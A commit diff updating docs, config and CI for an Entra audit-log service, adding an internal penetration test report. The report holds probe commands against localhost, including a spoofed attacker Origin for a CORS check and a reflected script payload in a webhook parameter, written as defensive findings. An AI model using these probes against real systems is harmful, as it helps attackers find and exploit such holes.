docs: update AGENTS.md, README.md, DEPLOY.md, ROADMAP.md for v1.7.14 security features

- Exempt /api/config/auth, /api/config/features, /health, /metrics from rate limiting
- Fix generic exception handler to return proper JSON for HTTPException instead of re-raising
- Add startup log with auth_enabled and version
- Add frontend console logging for auth config fetch errors
- Show 'Auth: OFF' or 'Auth: misconfigured' on auth button instead of empty text
- Add backend debug logging to /api/config/auth endpoint

.env.example

@@ -27,6 +27,18 @@ RETENTION_DAYS=0
 # Optional: comma-separated CORS origins (e.g., http://localhost:3000,https://app.example.com)
 CORS_ORIGINS=*
 
+# OpenAPI docs exposure (set true only for dev)
+DOCS_ENABLED=false
+
+# LLM endpoint domain restriction (comma-separated, supports wildcards like *.openai.azure.com)
+# LLM_ALLOWED_DOMAINS=api.openai.com,*.openai.azure.com
+
+# SIEM webhook domain restriction (comma-separated)
+# SIEM_ALLOWED_DOMAINS=your-siem.com
+
+# Optional Azure Key Vault for secrets storage
+# AZURE_KEY_VAULT_NAME=your-keyvault-name
+
 # Optional: SIEM export webhook (e.g., Splunk HEC, Sentinel, or generic syslog webhook)
 SIEM_ENABLED=false
 SIEM_WEBHOOK_URL=
@@ -34,6 +46,10 @@ SIEM_WEBHOOK_URL=
 # Optional: enable rule-based alerting during ingestion
 ALERTS_ENABLED=false
 
+# Optional: enable AI/natural-language features (/api/ask, MCP server)
+# Set to false to completely disable AI endpoints and UI elements
+AI_FEATURES_ENABLED=true
+
 # Optional: LLM configuration for natural language querying (/api/ask)
 # Supports any OpenAI-compatible API (OpenAI, Azure OpenAI, Ollama, etc.)
 # For Azure OpenAI / MS Foundry, set BASE_URL to your deployment endpoint
@@ -42,6 +58,32 @@ ALERTS_ENABLED=false
 LLM_API_KEY=
 LLM_BASE_URL=https://api.openai.com/v1
 LLM_MODEL=gpt-4o-mini
-LLM_MAX_EVENTS=50
+LLM_MAX_EVENTS=200
 LLM_TIMEOUT_SECONDS=30
 LLM_API_VERSION=
+
+# Valkey (caching + async job queue for LLM calls)
+# In Docker Compose, this is set automatically to redis://redis:6379/0
+# For local dev, start Valkey with: docker run -d -p 6379:6379 valkey/valkey:8-alpine
+REDIS_URL=redis://localhost:6379/0
+
+# UI default page size (number of events shown per page)
+DEFAULT_PAGE_SIZE=24
+
+# Alert notifications (optional)
+# Send triggered admin-ops alerts to a webhook (Slack, Teams, or generic)
+ALERT_WEBHOOK_URL=
+ALERT_WEBHOOK_FORMAT=generic  # generic | slack | teams
+ALERT_DEDUPE_MINUTES=15
+
+# Webhook security (optional but strongly recommended)
+# Set this to the same clientState used when creating Graph subscriptions
+WEBHOOK_CLIENT_SECRET=
+
+# Optional: privacy / access control
+# Hide entire services from users without PRIVACY_SERVICE_ROLES
+# PRIVACY_SERVICES=Exchange,Teams
+# Hide specific operations across all services from users without PRIVACY_SERVICE_ROLES
+# PRIVACY_SENSITIVE_OPERATIONS=MailItemsAccessed,Search-Mailbox,Send,ChatMessageRead
+# Comma-separated list of Entra roles that can access privacy-sensitive data
+# PRIVACY_SERVICE_ROLES=SecurityAdministrator,ComplianceAdministrator

.gitea/workflows/release.yml

@@ -16,7 +16,13 @@ jobs:
         run: echo "${{ secrets.REGISTRY_TOKEN }}" | docker login git.cqre.net -u ${{ github.actor }} --password-stdin 2>&1 | grep -v "WARNING! Your credentials are stored unencrypted"
 
       - name: Build Docker image
-        run: docker build ./backend --tag git.cqre.net/cqrenet/aoc-backend:${{ gitea.ref_name }}
+        run: docker build ./backend --build-arg VERSION=${{ gitea.ref_name }} --tag git.cqre.net/cqrenet/aoc-backend:${{ gitea.ref_name }}
 
-      - name: Push Docker image
+      - name: Tag as latest
+        run: docker tag git.cqre.net/cqrenet/aoc-backend:${{ gitea.ref_name }} git.cqre.net/cqrenet/aoc-backend:latest
+
+      - name: Push version tag
         run: docker push git.cqre.net/cqrenet/aoc-backend:${{ gitea.ref_name }}
+
+      - name: Push latest tag
+        run: docker push git.cqre.net/cqrenet/aoc-backend:latest

AGENTS.md

@@ -6,28 +6,41 @@ AOC is a FastAPI microservice that ingests Microsoft Entra (Azure AD) audit logs
 
 ## Technology Stack
 
-- **Runtime**: Python 3.11
+- **Runtime**: Python 3.11 (3.14 for tests)
-- **Web Framework**: FastAPI + Uvicorn
+- **Web Framework**: FastAPI + Uvicorn (Gunicorn in production)
 - **Database**: MongoDB (PyMongo)
-- **Frontend**: Vanilla HTML/CSS/JS (served as static files from `backend/frontend/`)
+- **Cache/Queue**: Valkey/Redis 8 (caching + arq async job queue)
+- **Frontend**: Alpine.js + HTML/CSS (served as static files from `backend/frontend/`)
 - **Authentication**: Optional OIDC Bearer token validation against Microsoft Entra (using `python-jose` and MSAL.js on the frontend)
-- **External APIs**: Microsoft Graph API, Office 365 Management Activity API
+- **External APIs**: Microsoft Graph API, Office 365 Management Activity API, Azure OpenAI / MS Foundry
-- **Deployment**: Docker Compose
+- **Deployment**: Docker Compose (dev), Docker Compose + nginx (prod)
+- **CI/CD**: Gitea Actions (lint + test + Docker build + release)
+- **Secrets Storage**: Environment variables (`.env`) or optional Azure Key Vault
 
 ## Project Structure
 
 ```
 backend/
   main.py              # FastAPI app, router registration, background periodic fetch
-  config.py            # Environment-based configuration (loads .env)
+  config.py            # Pydantic Settings configuration (loads .env + optional Key Vault)
   database.py          # MongoClient setup (db = micro_soc, collection = events)
   auth.py              # OIDC Bearer token validation, JWKS caching, role/group checks
+  secrets_manager.py   # Optional Azure Key Vault integration for secrets
+  rate_limiter.py      # Redis-backed fixed-window rate limiter (fail-closed)
   requirements.txt     # Python dependencies
-  Dockerfile           # python:3.11-slim image
+  Dockerfile           # python:3.11-slim image, non-root user, version baked at build
+  mcp_server.py        # Standalone MCP server for Claude Desktop / Cursor integration
   routes/
     fetch.py           # GET /api/fetch-audit-logs, run_fetch()
-    events.py          # GET /api/events, GET /api/filter-options
+    events.py          # GET /api/events, GET /api/filter-options, PATCH tags, POST comments
-    config.py          # GET /api/config/auth
+    config.py          # GET /api/config/auth, GET /api/config/features
+    ask.py             # POST /api/ask — natural language query with LLM
+    health.py          # GET /health, GET /metrics
+    rules.py           # Rule-based alerting endpoints
+    webhooks.py        # Microsoft Graph change notification webhooks
+    alerts.py          # Alert management endpoints
+    saved_searches.py  # Saved filter presets
+    jobs.py            # Async job status polling
   graph/
     auth.py            # Client credentials token acquisition for Graph
     audit_logs.py      # Fetch and enrich directory audit logs from Graph
@@ -41,7 +54,7 @@ backend/
   mappings.yml         # User-editable category labels and summary templates
   maintenance.py       # CLI for re-normalization and deduplication of stored events
   frontend/
-    index.html         # Single-page UI with filters, pagination, raw-event modal
+    index.html         # Single-page UI with filters, pagination, ask panel, raw-event modal
     style.css          # Dark-themed stylesheet
 ```
 
@@ -53,7 +66,7 @@ Copy `.env.example` to `.env` at the repo root and fill in values:
 cp .env.example .env
 ```
 
-Key variables:
+### Core variables
 - `TENANT_ID`, `CLIENT_ID`, `CLIENT_SECRET` — Microsoft app registration credentials (application permissions)
 - `AUTH_ENABLED` — set `true` to protect API/UI with OIDC Bearer tokens
 - `AUTH_TENANT_ID`, `AUTH_CLIENT_ID` — token validation audience/issuer
@@ -61,6 +74,35 @@ Key variables:
 - `ENABLE_PERIODIC_FETCH`, `FETCH_INTERVAL_MINUTES` — background ingestion scheduler
 - `MONGO_ROOT_USERNAME`, `MONGO_ROOT_PASSWORD`, `MONGO_PORT` — used by Docker Compose for MongoDB
 
+### AI / LLM variables
+- `AI_FEATURES_ENABLED` — set `false` to completely disable AI endpoints and UI (default `true`)
+- `LLM_API_KEY`, `LLM_BASE_URL`, `LLM_MODEL`, `LLM_MAX_EVENTS`, `LLM_TIMEOUT_SECONDS` — LLM provider settings
+- `LLM_API_VERSION` — required for Azure OpenAI / MS Foundry endpoints
+- `LLM_ALLOWED_DOMAINS` — comma-separated domain allowlist for LLM endpoints (e.g. `api.openai.com,*.openai.azure.com`)
+
+### Security variables
+- `CORS_ORIGINS` — comma-separated allowed origins (default `*`; set explicit origins in production)
+- `DOCS_ENABLED` — set `true` to expose `/docs`, `/redoc`, `/openapi.json` (default `false`)
+- `METRICS_ALLOWED_IPS` — comma-separated CIDRs allowed to access `/metrics` (default: private networks + loopback)
+- `WEBHOOK_CLIENT_SECRET` — secret for validating Graph webhook `clientState`
+- `SIEM_ENABLED`, `SIEM_WEBHOOK_URL` — optional SIEM forwarding
+- `SIEM_ALLOWED_DOMAINS` — comma-separated domain allowlist for SIEM webhook URLs
+- `RATE_LIMIT_ENABLED`, `RATE_LIMIT_REQUESTS`, `RATE_LIMIT_WINDOW_SECONDS` — Redis-backed rate limiting
+
+### Optional Azure Key Vault
+- `AZURE_KEY_VAULT_NAME` — name of the Azure Key Vault to load secrets from
+- When set, AOC fetches these secrets at startup:
+  - `aoc-client-secret` → `CLIENT_SECRET`
+  - `aoc-llm-api-key` → `LLM_API_KEY`
+  - `aoc-mongo-uri` → `MONGO_URI`
+  - `aoc-webhook-client-secret` → `WEBHOOK_CLIENT_SECRET`
+- Requires `azure-identity` and `azure-keyvault-secrets` (uncomment in `requirements.txt`)
+
+### Privacy / access control
+- `PRIVACY_SERVICES` — comma-separated services to hide from non-privileged users (e.g. `Exchange,Teams`)
+- `PRIVACY_SENSITIVE_OPERATIONS` — comma-separated operations to gate
+- `PRIVACY_SERVICE_ROLES` — comma-separated Entra roles that grant access to privacy data
+
 ## Build and Run Commands
 
 **Docker Compose (recommended):**
@@ -87,35 +129,97 @@ uvicorn main:app --reload --host 0.0.0.0 --port 8000
 ## API Endpoints
 
 - `GET /api/fetch-audit-logs?hours=168` — pulls last N hours (capped at 720 / 30 days) from all sources, normalizes, dedupes, and upserts into MongoDB
-- `GET /api/events` — list stored events with filters (`service`, `actor`, `operation`, `result`, `start`, `end`, `search`) and pagination (`page`, `page_size`)
+- `GET /api/events` — list stored events with filters (`service`, `actor`, `operation`, `result`, `start`, `end`, `search`) and cursor-based pagination
 - `GET /api/filter-options` — best-effort distinct values for UI dropdowns
 - `GET /api/config/auth` — auth configuration exposed to the frontend
+- `GET /api/config/features` — feature flags (`ai_features_enabled`)
+- `POST /api/ask` — natural language query; returns LLM narrative + referenced events (only when `AI_FEATURES_ENABLED=true`)
+- `GET /health` — liveness probe with DB connectivity
+- `GET /metrics` — Prometheus metrics (IP-restricted by default)
+- `GET /api/source-health` — last fetch status per ingestion source
+- `GET /api/version` — running version
+
+## MCP Server
+
+A standalone MCP server (`backend/mcp_server.py`) exposes audit log tools for Claude Desktop, Cursor, and other MCP clients.
+
+Available tools:
+- `search_events` — Search by entity, service, operation, result, time range
+- `get_event` — Retrieve a single event by ID (raw JSON)
+- `get_summary` — Aggregated counts by service, operation, result, actor
+- `ask` — Natural language question (returns recent events + guidance)
+
+**Claude Desktop config** (`~/.config/claude/claude_desktop_config.json`):
+```json
+{
+  "mcpServers": {
+    "aoc": {
+      "command": "python",
+      "args": ["/path/to/aoc/backend/mcp_server.py"],
+      "env": {"MONGO_URI": "mongodb://root:example@localhost:27017/"}
+    }
+  }
+}
+```
+
+The MCP server imports `database.py` directly and does not go through the FastAPI layer, so it shares the same MongoDB connection but bypasses auth.
+
+## AI Feature Flag
+
+Set `AI_FEATURES_ENABLED=false` in `.env` to:
+- Prevent the `ask` router from being registered in FastAPI
+- Hide the "Ask a question" panel in the frontend
+- Return `ai_features_enabled: false` from `/api/config/features`
+
+This is intended for the open-core monetization split: core features (ingestion, filtering, search, export) are always available; premium AI features (NLQ, MCP) can be disabled.
 
 ## Code Conventions
 
 - Python modules use absolute imports within the `backend/` package (e.g., `from graph.auth import get_access_token`). When running locally, ensure the working directory is `backend/` so these resolve correctly.
-- No formal formatter or linter is configured. Keep changes consistent with the existing style: simple functions, explicit exception handling, and informative docstrings.
+- The project uses `ruff` for linting and formatting. Run `ruff check . && ruff format .` before committing.
-- The frontend is a single HTML file with inline JavaScript. It relies on the MSAL.js CDN (`https://alcdn.msauth.net/browser/2.37.0/js/msal-browser.min.js`).
+- Keep changes consistent with the existing style: simple functions, explicit exception handling, and informative docstrings.
+- The frontend is a single HTML file with inline JavaScript and Alpine.js.
 
 ## Testing
 
-There are currently **no automated tests** in this repository. When adding new features or bug fixes, verify behavior manually:
+Tests run with pytest and mongomock (no real MongoDB required):
 
-1. Start the server (Docker Compose or local uvicorn).
+```bash
-2. Run a smoke test:
+cd backend
-   ```bash
+python -m venv .venv_test
-   curl http://localhost:8000/api/events
+source .venv_test/bin/activate
-   curl http://localhost:8000/api/fetch-audit-logs
+pip install -r requirements.txt
-   ```
+pytest tests/ -q
-3. Open http://localhost:8000 in a browser, apply filters, paginate, and click "View raw event".
+```
+
+When adding new features or bug fixes, add or update tests in `backend/tests/`. The test suite covers:
+- Event normalization and deduplication
+- Auth middleware and token validation
+- API endpoints (`/api/events`, `/api/fetch-audit-logs`, `/api/ask`)
+- NLQ time range extraction, entity extraction, query building
+- Rate limiting behavior
 
 ## Security Considerations
 
-- **Secrets**: `CLIENT_SECRET` and other credentials come from `.env`. Never commit `.env`.
+- **Secrets**: `CLIENT_SECRET`, `LLM_API_KEY`, and other credentials come from `.env` or Azure Key Vault. Never commit `.env`.
-- **Auth validation**: When `AUTH_ENABLED=true`, the backend fetches JWKS from `https://login.microsoftonline.com/{AUTH_TENANT_ID}/v2.0/.well-known/openid-configuration`, caches keys for 1 hour, and validates tenant/issuer claims. Tokens are decoded without strict signature verification (`jwt.get_unverified_claims`), so the tenant and issuer checks are the primary gate.
+- **Auth validation**: When `AUTH_ENABLED=true`, the backend fetches JWKS from `https://login.microsoftonline.com/{AUTH_TENANT_ID}/v2.0/.well-known/openid-configuration`, caches keys for 1 hour, and validates tenant/issuer/audience claims. Tokens are decoded with RS256 signature verification.
-- **Role/Group gating**: Access is allowed if the token’s `roles` intersect `AUTH_ALLOWED_ROLES` or `groups` intersect `AUTH_ALLOWED_GROUPS`. If neither list is configured, all authenticated users are allowed.
+- **Role/Group gating**: Access is allowed if the token's `roles` intersect `AUTH_ALLOWED_ROLES` or `groups` intersect `AUTH_ALLOWED_GROUPS`. If neither list is configured, all authenticated users are allowed — a startup warning is logged in this case.
+- **CORS**: When `AUTH_ENABLED=true` and `CORS_ORIGINS="*"`, `allow_credentials` is forced to `false` to prevent cross-origin token leakage.
+- **Rate limiting**: Redis-backed fixed-window rate limiting with per-category limits (fetch=10/hr, ask=30/min, write=20/min, default=120/min). Fails closed (returns 429) when Redis is unavailable.
 - **Pagination limits**: `page_size` is clamped to a maximum of 500 to prevent large queries.
 - **Fetch window cap**: `hours` is clamped to 720 (30 days) to avoid runaway API calls.
+- **LLM SSRF guard**: `LLM_BASE_URL` must be HTTPS and cannot point to private IPs. Optional `LLM_ALLOWED_DOMAINS` restricts to specific domains.
+- **SIEM SSRF guard**: `SIEM_WEBHOOK_URL` has the same validation as LLM URLs, plus optional `SIEM_ALLOWED_DOMAINS`.
+- **Metrics IP gating**: `/metrics` is restricted to private/loopback IPs by default via `METRICS_ALLOWED_IPS`.
+- **OpenAPI docs**: Disabled by default (`DOCS_ENABLED=false`). Enable only in development.
+- **CSP**: Content-Security-Policy headers are set on all responses. `unsafe-eval` is required for Alpine.js v3 expression evaluation.
+- **SRI**: CDN scripts (Alpine.js, MSAL.js) include Subresource Integrity hashes to prevent supply chain compromise.
+- **MCP server**: The MCP server bypasses auth entirely. Only run it in trusted environments or behind a VPN.
+
+### Security Documentation
+
+- `PEN_TEST_REPORT_v1.7.11.md` — Internal soft penetration test findings and remediation
+- `THREAT_MODEL_v1.7.13.md` — Comprehensive threat model covering Entra/token abuse vectors
 
 ## Maintenance and Operations
 

DEPLOY.md

@@ -7,6 +7,7 @@ AOC runs as a set of Docker containers orchestrated by Docker Compose:
 - **nginx** — reverse proxy, TLS termination, static file serving
 - **backend** — FastAPI application (Gunicorn + Uvicorn workers)
 - **mongo** — MongoDB data store (not exposed externally)
+- **valkey** — Redis-compatible cache and async job queue (not exposed externally)
 
 ## Prerequisites
 
@@ -20,7 +21,7 @@ AOC runs as a set of Docker containers orchestrated by Docker Compose:
 1. **Clone / pull the latest release**
 
    ```bash
-   git checkout v1.1.0
+   git checkout v1.7.14
    ```
 
 2. **Copy and edit environment variables**
@@ -33,7 +34,7 @@ AOC runs as a set of Docker containers orchestrated by Docker Compose:
 3. **Set the release version**
 
    ```bash
-   export AOC_VERSION=v1.1.0
+   export AOC_VERSION=v1.7.14
    ```
 
 4. **Deploy**
@@ -53,7 +54,7 @@ AOC runs as a set of Docker containers orchestrated by Docker Compose:
 ## Updating to a new release
 
 ```bash
-export AOC_VERSION=v1.2.0
+export AOC_VERSION=v1.7.14
 docker compose -f docker-compose.prod.yml pull
 docker compose -f docker-compose.prod.yml up -d
 ```
@@ -75,24 +76,56 @@ docker compose -f docker-compose.prod.yml up -d
 
 Replace the `nginx` service in `docker-compose.prod.yml` with a Certbot-friendly setup (e.g., use the `nginx-proxy` + `acme-companion` stack) or mount the Certbot certificates into `nginx/ssl/`.
 
-## Security hardening
+## Security Hardening
 
 - MongoDB is **not exposed** to the host — only the backend container can reach it.
+- Valkey/Redis is **not exposed** to the host — only the backend container can reach it.
 - The backend runs as a non-root (`aoc`) user inside the container.
 - nginx adds security headers (`X-Frame-Options`, `X-Content-Type-Options`, etc.).
 - Keep `.env` out of version control — it is listed in `.gitignore`.
+- Set `AUTH_ENABLED=true` and configure `AUTH_ALLOWED_ROLES` or `AUTH_ALLOWED_GROUPS` to restrict access to admin/security roles.
+- Set explicit `CORS_ORIGINS` — do not use `*` in production when auth is enabled.
+- Set `DOCS_ENABLED=false` to hide OpenAPI docs (`/docs`, `/openapi.json`).
+- Configure `WEBHOOK_CLIENT_SECRET` to validate Graph webhook notifications.
+- Set `LLM_ALLOWED_DOMAINS` if using AI features (e.g. `api.openai.com,*.openai.azure.com`).
+- Set `SIEM_ALLOWED_DOMAINS` if using SIEM forwarding.
+- Review `METRICS_ALLOWED_IPS` — defaults to private networks + loopback.
+
+## Azure Key Vault (Optional)
+
+To eliminate long-lived secrets from `.env`:
+
+1. Create an Azure Key Vault and add these secrets:
+   - `aoc-client-secret` — your Graph app `CLIENT_SECRET`
+   - `aoc-llm-api-key` — your `LLM_API_KEY` (if using AI)
+   - `aoc-mongo-uri` — your `MONGO_URI`
+   - `aoc-webhook-client-secret` — your `WEBHOOK_CLIENT_SECRET`
+
+2. Uncomment `azure-identity` and `azure-keyvault-secrets` in `backend/requirements.txt`
+
+3. Set `AZURE_KEY_VAULT_NAME=your-keyvault-name` in `.env`
+
+4. Grant the container identity `Get` permission on secrets:
+   - If using Azure Container Instances / AKS: assign a managed identity
+   - If using VM: assign a managed identity or use a service principal
+   - If using local Docker: authenticate via `az login` on the host
+
+5. Rebuild and redeploy:
+   ```bash
+   docker compose -f docker-compose.prod.yml up -d --build
+   ```
 
 ## Rollback
 
 ```bash
-export AOC_VERSION=v1.0.3
+export AOC_VERSION=v1.7.13
 docker compose -f docker-compose.prod.yml pull
 docker compose -f docker-compose.prod.yml up -d
 ```
 
 ## Monitoring
 
-- Prometheus metrics: `http://your-host/metrics`
+- Prometheus metrics: `http://your-host/metrics` (IP-restricted by default)
 - Health check: `http://your-host/health`
 - Container logs:
 
@@ -100,4 +133,13 @@ docker compose -f docker-compose.prod.yml up -d
   docker compose -f docker-compose.prod.yml logs -f backend
   docker compose -f docker-compose.prod.yml logs -f nginx
   docker compose -f docker-compose.prod.yml logs -f mongo
+  docker compose -f docker-compose.prod.yml logs -f valkey
   ```
+
+## Troubleshooting
+
+- **Auth warning in logs**: "AUTH_ENABLED is true but no AUTH_ALLOWED_ROLES or AUTH_ALLOWED_GROUPS are configured" — set these to restrict access.
+- **CORS issues**: Set `CORS_ORIGINS` to your exact frontend origin(s). Wildcard with auth enabled disables credentials.
+- **Rate limiting 429s**: Check Redis/Valkey connectivity. The rate limiter fails closed (returns 429) when Redis is down.
+- **LLM errors**: Verify `LLM_BASE_URL` is in `LLM_ALLOWED_DOMAINS` if the allowlist is configured.
+- **SIEM not forwarding**: Verify `SIEM_WEBHOOK_URL` uses HTTPS and is in `SIEM_ALLOWED_DOMAINS`.

PEN_TEST_REPORT_v1.7.11.md

@@ -0,0 +1,203 @@
+# AOC v1.7.11 Soft Penetration Test Report
+
+**Date:** 2026-04-27
+**Target:** Local AOC instance (port 8001), auth disabled, AI disabled
+**Tester:** Automated + manual curl-based probing
+**Scope:** FastAPI backend, REST API endpoints, middleware, headers
+
+---
+
+## Executive Summary
+
+AOC v1.7.11 has one **CRITICAL** vulnerability (CORS credentials leak) and several defense-in-depth gaps. The good news: input validation, NoSQL injection resistance, and error handling are solid. The bad news: CORS is dangerously permissive, security headers are missing, and the rate limiter fails open on Redis failure.
+
+| Severity | Count | Categories |
+|----------|-------|------------|
+| CRITICAL | 1 | CORS with credentials |
+| HIGH | 1 | Missing security headers |
+| MEDIUM | 2 | Fail-open rate limiter, OpenAPI exposure |
+| LOW | 2 | Information disclosure, webhook content injection |
+| INFO | 3 | Positive findings (no stack traces, input validation, NoSQL resistance) |
+
+---
+
+## CRITICAL
+
+### 1. CORS Reflects Any Origin with `allow_credentials=true`
+
+**Finding:** The CORS middleware returns `Access-Control-Allow-Origin: <any origin>` AND `Access-Control-Allow-Credentials: true` for every origin that sends an `Origin` header.
+
+**Evidence:**
+```bash
+curl -H "Origin: https://evil-attacker.com" http://localhost:8001/api/config/auth
+# Response headers:
+# access-control-allow-origin: https://evil-attacker.com
+# access-control-allow-credentials: true
+```
+
+**Impact:** An attacker can host a malicious page on any domain and make authenticated cross-origin requests to the AOC API using the victim's browser cookies/tokens. This effectively bypasses Same-Origin Policy for authenticated actions.
+
+**Root Cause:** `main.py` configures CORS with `allow_origins=["*"]` (from `CORS_ORIGINS` env var, default `"*"`) AND `allow_credentials=True`. According to CORS spec, a wildcard origin with credentials is technically invalid, but Starlette/FastAPI appears to reflect the request origin instead.
+
+**Recommendation:**
+- When `AUTH_ENABLED=true`, reject requests from origins not in an explicit allowlist.
+- Set `allow_credentials=False` if wildcard origins are needed.
+- Or, require `CORS_ORIGINS` to be explicitly configured (no default wildcard) when auth is enabled.
+
+---
+
+## HIGH
+
+### 2. Missing Security Headers
+
+**Finding:** The following security headers are absent from all responses:
+
+| Header | Purpose | Status |
+|--------|---------|--------|
+| `X-Content-Type-Options: nosniff` | Prevents MIME sniffing | MISSING |
+| `X-Frame-Options: DENY` or `SAMEORIGIN` | Clickjacking protection | MISSING |
+| `Strict-Transport-Security` | HSTS enforcement | MISSING |
+| `Referrer-Policy: strict-origin-when-cross-origin` | Limits referrer leakage | MISSING |
+| `Permissions-Policy` | Restricts browser features | MISSING |
+
+**Impact:** Increased attack surface for clickjacking, MIME confusion attacks, and information leakage via referrer headers.
+
+**Recommendation:** Add a security headers middleware to set these on all responses. HSTS only when served over HTTPS.
+
+---
+
+## MEDIUM
+
+### 3. Rate Limiter Fails Open on Redis Failure
+
+**Finding:** In `rate_limiter.py` line 81-82:
+```python
+except Exception as exc:
+    logger.warning("Rate limiter Redis error; allowing request", error=str(exc))
+```
+
+If Redis becomes unreachable, all rate limits are silently bypassed.
+
+**Evidence:** When Redis was down, 150+ requests to `/api/events` all returned 200 with no 429s.
+
+**Impact:** A DoS on Redis (or a network partition) removes all rate limiting, allowing unlimited API abuse.
+
+**Recommendation:** Make the rate limiter fail-closed: return 429 or 503 when Redis is unavailable, or use an in-memory fallback with a conservative limit.
+
+### 4. OpenAPI Schema Publicly Exposed
+
+**Finding:** `/docs`, `/redoc`, and `/openapi.json` are accessible without authentication and return the full API schema.
+
+**Evidence:**
+```bash
+curl -s http://localhost:8001/openapi.json | jq '.paths | keys'
+# Returns all 15+ API paths including internal endpoints
+```
+
+**Impact:** Attackers get a complete map of the API, including request/response schemas, parameter types, and endpoint structure. This significantly reduces reconnaissance time.
+
+**Recommendation:** Disable OpenAPI docs in production (`docs_url=None, redoc_url=None, openapi_url=None`) or gate them behind admin authentication.
+
+---
+
+## LOW
+
+### 5. Information Disclosure via `/api/config/auth` and `/metrics`
+
+**Finding:**
+- `/api/config/auth` leaks `tenant_id` and `client_id` even when auth is disabled. These values fall back to the Graph API credentials (`TENANT_ID`/`CLIENT_ID`), which may be sensitive.
+- `/metrics` exposes Python version (`3.14.3`), GC statistics, and application-internal metric names.
+
+**Evidence:**
+```json
+{
+  "auth_enabled": false,
+  "tenant_id": "0ec9f34c-17c8-4541-b084-7d64ecdcc997",
+  "client_id": "cc31fd45-1eca-431f-a2c6-ba81cd4c5d50"
+}
+```
+
+**Impact:** Low direct impact (tenant/client IDs are not secrets), but aids reconnaissance and narrows the attack surface.
+
+**Recommendation:**
+- Return empty strings for `tenant_id`/`client_id` when `auth_enabled=false`.
+- Gate `/metrics` behind IP allowlist or admin auth (standard Prometheus practice).
+
+### 6. Webhook Validation Token Echoed Without Sanitization
+
+**Finding:** The `/api/webhooks/graph` endpoint echoes `validationToken` query parameter as `text/plain` without any sanitization or length limits.
+
+**Evidence:**
+```bash
+curl -X POST "http://localhost:8001/api/webhooks/graph?validationToken=<script>alert(1)</script>"
+# Returns: <script>alert(1)</script> with Content-Type: text/plain
+```
+
+**Impact:** Low in the intended Microsoft Graph flow (token is Microsoft-generated), but if the endpoint is hit directly, an attacker could use this for cache poisoning, response splitting, or social engineering by making the endpoint return attacker-controlled content.
+
+**Recommendation:** Validate the validationToken format (e.g., JWT-like structure, length limits) before echoing, or set `Content-Type: text/plain; charset=utf-8` with `X-Content-Type-Options: nosniff` to reduce MIME confusion risk.
+
+---
+
+## INFO (Positive Findings)
+
+### A. No Stack Traces in Error Responses
+
+All errors (422, 404, 429, 500 if triggered) return generic JSON messages without internal details or stack traces. Good.
+
+### B. Pydantic Input Validation is Effective
+
+- `page_size` capped at 500 (returns 422 for 501, 0, -1)
+- `hours` capped at 720 (returns 422 for 721)
+- Invalid cursors return 400 with "Invalid cursor"
+- Malformed JSON bodies return 422 with field-level validation errors
+- `AlertCondition` op field strictly validated against `Literal["eq", "neq", "contains", "in", "after_hours"]`
+
+### C. NoSQL Injection Resistant
+
+MongoDB operators passed as string filter values are treated as literals, not operators:
+
+```bash
+curl "http://localhost:8001/api/events?operation=\$ne"
+# Returns 0 results (treated as literal string "$ne")
+```
+
+The `_build_query()` function in `events.py` uses `re.escape()` for search input and constructs queries safely.
+
+### D. Bulk Tags Pre-Count Check Works
+
+`bulk_tags` endpoint capped at 10,000 matched documents via pre-count check. 93 events were successfully tagged with no bypass.
+
+### E. Rate Limiting Works When Redis is Healthy
+
+- `/api/fetch-audit-logs`: 429 after 11 requests (limit: 10/hr)
+- `/api/events`: 429 after ~120 requests (limit: 120/min)
+- Exempt paths work correctly: `/health`, `/metrics`, `/api/config/auth`, `/api/config/features`
+- `Retry-After` header is returned on 429 responses
+
+---
+
+## Recommendations Summary
+
+| Priority | Action | Effort |
+|----------|--------|--------|
+| P0 | Fix CORS: do not allow credentials with wildcard/reflected origins | Small |
+| P1 | Add security headers middleware (X-Content-Type-Options, X-Frame-Options, HSTS, Referrer-Policy) | Small |
+| P2 | Make rate limiter fail-closed on Redis errors | Small |
+| P2 | Disable OpenAPI docs in production or gate behind auth | Small |
+| P3 | Sanitize or validate webhook validationToken before echo | Small |
+| P3 | Gate `/metrics` behind IP allowlist | Small |
+| P3 | Hide tenant_id/client_id from `/api/config/auth` when auth is disabled | Tiny |
+| P4 | Consider Alpine.js CSP build to remove `unsafe-eval` from script-src | Medium |
+
+---
+
+## Test Environment
+
+```
+Backend: uvicorn on localhost:8001 (auth=false, ai=false)
+MongoDB: docker container, port 27018
+Redis:   docker container, port 6380
+```
+
+*Test commands and raw outputs available in `/tmp/pen_test*.sh` scripts.*

README.md

@@ -9,13 +9,16 @@ FastAPI microservice that ingests Microsoft Entra (Azure AD) and other admin aud
 - Office 365 Management Activity API client for Exchange/SharePoint/Teams admin audit logs.
 - Frontend served from the backend for filtering/searching events and viewing raw entries.
 - Optional OIDC bearer auth (Entra) to protect the API/UI and gate access by roles/groups.
+- Natural language query (`/api/ask`) powered by LLM (OpenAI, Azure OpenAI, or any compatible API).
+- MCP server for Claude Desktop / Cursor integration.
+- Optional Azure Key Vault integration for secrets storage.
 
 ## Prerequisites (macOS)
 - Python 3.11
 - Docker Desktop (for the quickest start) or a local MongoDB instance
 - An Entra app registration with **Application** permission `AuditLog.Read.All` and admin consent granted
   - Also required to fetch other sources:
-    - `https://manage.office.com/.default` (Audit API) with `ActivityFeed.Read`/`ActivityFeed.ReadDlp` (built into the app registration’s API permissions for Office 365 Management APIs)
+    - `https://manage.office.com/.default` (Audit API) with `ActivityFeed.Read`/`ActivityFeed.ReadDlp` (built into the app registration's API permissions for Office 365 Management APIs)
     - Intune audit: `DeviceManagementConfiguration.Read.All` (or broader) for `/deviceManagement/auditEvents`
   - Optional API protection: configure `AUTH_ENABLED=true` and set `AUTH_TENANT_ID`/`AUTH_CLIENT_ID` (the audience) plus allowed roles/groups.
 
@@ -38,8 +41,52 @@ cp .env.example .env
 
 # Optional: CORS origins if the frontend is served separately
 # CORS_ORIGINS=http://localhost:3000,https://app.example.com
+
+# Optional: enable AI/natural-language features (/api/ask, MCP server)
+# AI_FEATURES_ENABLED=true
+
+# Optional: LLM configuration for natural language querying
+# LLM_API_KEY=...
+# LLM_BASE_URL=https://api.openai.com/v1
+# LLM_MODEL=gpt-4o-mini
+# LLM_TIMEOUT_SECONDS=30
+# LLM_ALLOWED_DOMAINS=api.openai.com,*.openai.azure.com
+
+# Optional: SIEM forwarding
+# SIEM_ENABLED=true
+# SIEM_WEBHOOK_URL=https://your-siem.com/webhook
+# SIEM_ALLOWED_DOMAINS=your-siem.com
+
+# Optional: Azure Key Vault for secrets storage
+# AZURE_KEY_VAULT_NAME=your-keyvault-name
 ```
 
